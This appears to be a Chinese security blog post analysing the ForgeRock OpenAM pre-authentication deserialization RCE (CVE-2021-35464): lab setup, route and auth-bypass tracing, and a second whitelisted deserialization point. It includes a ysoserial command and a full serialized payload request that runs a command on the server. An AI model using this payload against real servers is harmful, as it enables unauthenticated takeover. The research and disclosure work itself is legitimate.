【技術分享】ForgeRock OpenAM RCE(CVE-2021-35464)分析

漏洞描述
2021年6月30日,國外安全研究人員披露了ForgeRock AM遠程代碼執行漏洞,漏洞編號為CVE-2021-35464。攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。
環境搭建
0x1 Docker 搭建
直接使用官方提供的docker資源進行搭建,并開啟調試環境

docker run -d -p 7080:8080 -p 5005:5005 --name openam openidentityplatform/openam:14.6.2docker run -d -p 1389:1389 -p 1636:1636 -p 4444:4444 --name ldap-01 openidentityplatform/opendj


0x2 添加依賴
向IDEA中添加依賴

0x3 開啟調試
官方提供的Docker 容器不是root權限的用戶,里面也沒有sudo指令,我們要想辦法把權限提升到root才能有機會開啟調試配置
openam@6eb4404f536b:/usr/local/tomcat$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinopenam:x:1001:0::/home/openam:/bin/sh
通過查看/etc/passwd文件得知openam用戶的uid為1001,我們將其強制性修改成0,并利用docker cp指令進行替換,效果如下安裝一些必要的軟件vim等

看目錄像是tomcat起的,所以開啟調試就很明確了,找打catalina.sh添加調試信息,添加此行配置


顯示Connected則連接成功

漏洞挖掘
按照漏洞挖掘者的原話,分析web.xml中的每一個servlet,認真梳理其中的處理邏輯,跟著這個思路走,確實可以找到這個漏洞的路由,但是這樣正向分析起來工作量巨大。但如果實現知道危險函數所在的文件及函數會更方便漏洞挖掘工作。針對這個漏洞來講,我們只需要搜索readObject關鍵字就能找到這個漏洞點。
首先將WEB-INF/lib目錄下的jar包全部解壓

直接在命令行中搜索關鍵字readObject,會有搜索到很多相關的class文件

嘗試打開其中的幾個文件
openam-shared-14.6.3/org/forgerock/openam/utils/IOUtils.class ,該文件中存在deserialise函數,但是在反序列化的時候有白名單,因此尋找下一個類。


關于這個路由的分析統一放在漏洞路由分析中講解。
下一個匹配到的class是 jato-14.6.3/com/iplanet/jato/util/Encoder.class

再次搜索關于Encoder類的調用,可以找到幾個相關聯的類,因為分析過以下幾個代碼,所以這里直接看ViewBeanBase代碼中的邏輯。

ViewBeanBase.class代碼如下

找到反序列化的入口后有兩個問題需要我們解決
- 如何找到觸發漏洞的路由
- 如何編寫反序列化利用鏈
下面主要圍繞這兩個問題進行分析。
漏洞路由分析

如何才能通過前端訪問觸發該漏洞呢,這還是要結合著web.xml進行分析,在這個xml文件中定義了很多servlet,很多URL與之對應著。
0x1 xml分析
通過分析Servlet后,找到了感興趣的Servlet,比如這里以TaskServlet為例

0x2 請求處理
TaskServlet繼承ConsoleServletBase,對前端發送來的請求是父類的父類做的處理.

可以清楚的看到ConsoleServletBase繼承ApplicationServletBase。

ApplicationServletBase中包含get和post請求方法的響應代碼,最后都會調用processRequest進行統一處理。

至此我們分析到了第一層請求處理邏輯,剩下還有很多路要走,先來看一下openAM怎么對路由進行權限校驗的。
0x3 權限校驗
通過分析ApplicationServletBase的processRequest處理函數,該函數在處理請求期間調用了fireBeforeRequestEvent函數,并且這個函數最終會調用onBeforeRequest函數。


TaskServlet的父類ConsoleServletBase中有對onBeforeRequest的實現,并且在里面做了權限校驗。validateSSOToken里校驗了token的是否合法。

0x4 未認證路由
那么是不是存在一個路由的onBeforeRequest沒有校驗token呢,通過對每個servlet進行分析,確實找到了不同于ConsoleServletBase父類的類TagsServletBase。該servlet對應的路由為/ccversion/*


那么它到底特殊在什么地方呢?通過查看代碼可以得知在父類ApplicationServletBase之前的子類都沒有實現onBeforeRequest方法,這就使得在調用onBeforeRequest方法時實則調用了ApplicationServletBase里的方法,然而ApplicationServletBase里onBeforeRequest方法是空函數。

那么這個檢驗就可以輕易繞過了。
0x5 動態分發
分析到這都是靜態路由在處理,openAm在處理請求的時候大部分采用的動態Bean調用,我們一起來看看到底是怎么實現的。

主要觀察上面代碼的381行和384行,通過getViewBeanInstance獲取到pageName對應的Bean實例,再用dispatchRequest方法將其分發,分發時執行的函數為forwardTo。

問題是怎么獲取到這些Bean實例的,我們通過動態調試的方式一起分析下。
getViewBeanInstance函數會調用getLocalViewBean函數去查找并生成viewBean

getLocalViewBean函數就比較有意思,利用getHandlingServlet獲取當前線程運行的Servlet,判斷是否allowShortViewBeanNames字段之后進入if else分之,getBasePackageName函數會獲取調用者的包名,這里的調用者是VersionServlet其包名為com.sun.identity.console.version。

getViewBeanByClassName會通過字符串的形式動態的加載類到內存中,但在加載之前會先判斷有沒有實例已經生成,如果有的話就會在nameInstanceMap中匹配到,就不需要通過Class.forName的方式去動態生成了。

因此這個ViewServlet路由最終會調用執行com.sun.identity.console.version包下的*ViewBean代碼,這也就和之前的漏洞點串起來了,剩下的只需要考慮下如何進行利用了。
漏洞利用分析
再次回顧下此次漏洞點,通過Encoder.decodeHttp64函數進行解碼后,傳遞給Encoder.deserialize函數進行反序列化,反序列化代碼邏輯處沒有過濾,我們可以在項目中的jar包里搜索可利用的利用鏈。
this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
從項目的lib目錄中發現的幾個ysoserial中用來構造反序列化的jar包版本都對應不上,這就意味著要重新尋找個反序列化利用鏈。關于怎么找鏈以及怎么構造ysoserial Click1利用鏈,我打算開篇新的文章記錄下。

0x1 生成利用鏈
在進行漏洞利用的時候暫且直接使用集成在ysoserial工具里的Click1利用鏈。

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
0x2 構造數據包
GET /openam/ccversion/Version?jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAajyv66vgAAADMAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEADXRvdWNoIC90bXAveHgIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI4MTE5NjYyNDE4OTUwMDIBACBMeXNvc2VyaWFsL1B3bmVyODExOTY2MjQxODk1MDAyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_______________v____4AAAABdXEAfgAkAAAAAQF4eA HTTP/1.1Host: 192.168.0.106:7080User-Agent: curl/7.64.1Accept: */*
后臺代碼成功接受數據并進行反序列化

成功執行命令創建文件xx

關于反序列化漏洞挖掘的方式,及路由回溯方法在其他分析中展開講解,這個漏洞的反序列化鏈編寫過程打算在下篇文章重點分析。
其他分析

為什么有這一小節呢?我再復現分析這個漏洞的時候嘗試性的對它開展了漏洞挖掘工作,其中找到了一個未認證反序列化,但是有白名單的限制,最后沒有利用成功。主要記錄下該反序列化點的挖掘及觸發過程。
0x1 可疑的漏洞點
借助之前搜索readObject的結果,我們可以發現這個帶有反序列化白名單校驗的類IOUtils.class,我一開始不知道其中有白名單校驗,就傻不愣登的開始分析了。

0x2 觸發路由分析
通過字符串搜索找到包含IOUtils且包含了deserialize的class文件,其中的分析過一遍后感覺RestrictedTokenContext比較有戲。

RestrictedTokenContext主要是unmarshal方法調用了危險函數,我們需要繼續向上分析調用點

通過相同的搜索方式找到了一些調用點其中SessionRequestHandler引起了我的注意

通過審計SessionRequestHandler發現有一處觸發點,并且在之前未發現有校驗,那么剩下的問題就轉變成如何調用這個Handler進行處理。

在之前分析servlet函數的時候有分析到pllservice

它里面的請求包處理函數和Handler調用有著一定的聯系,粗略看來和xml解析有關,具體什么關系還是需要動態調試才能確定。

0x3 動態調試確定數據包
通過動態調試找到了獲取handler的關鍵代碼,如下圖所示。set.geteServiceID就是post數據中xml里的svcid值,我們可以控制。

最為核心的代碼在getServiceHandler函數中,通過分析發現requestHandlers為已經加載的Handler,這個機制和ViewBean很相似。handler的生成在第150行進行,但之前要獲得handler的名稱,這個操作主要在WebtopNaming.getServiceClass中進行。

getServiceClass函數是在config中尋找與之匹配的項,config中保存了所有的映射關系。

映射關系如下,通過這個NamingTable可以很直觀的找到svcid為session時與之對應的handler為SessionRequestHandler。因此我們構造數據包也就有了著落。

0x4 填充參數
找到Handler的生成關系后,我們需要將反序列化的數據填充進去,這里主要是確定getRequester獲取的是什么數據。

跟進發現該數據已經生成完畢了,我們需要做的是溯源路由,找到填充變量的那塊代碼。

通過簡單的分析發現了在xml解析時,解析了elem的requester屬性,如果該屬性存在則賦值。

那么剩下的就簡單了,構造一個符合代碼的xml數據包發送給后臺。這里需要注意的是requester參數里的內容要經歷兩次base64編碼。
POST /openam/sessionservice HTTP/1.1Host: 192.168.0.201Connection: closesec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflateContent-Type: text/xmlAccept-Language: zh-CN,zh;q=0.9Content-Length: 5156 <RequestSet vers="1.0" svcid="session" reqid="0"><Request>xxxx]]>Request>RequestSet>

成功到達反序列化的地方,可是存在嚴格的白名單,目前沒有什么好的辦法。

總結
本文主要從如何挖掘該漏洞的角度分析這個漏洞的挖掘方式,后面將會用重點介紹這個漏洞利用方式。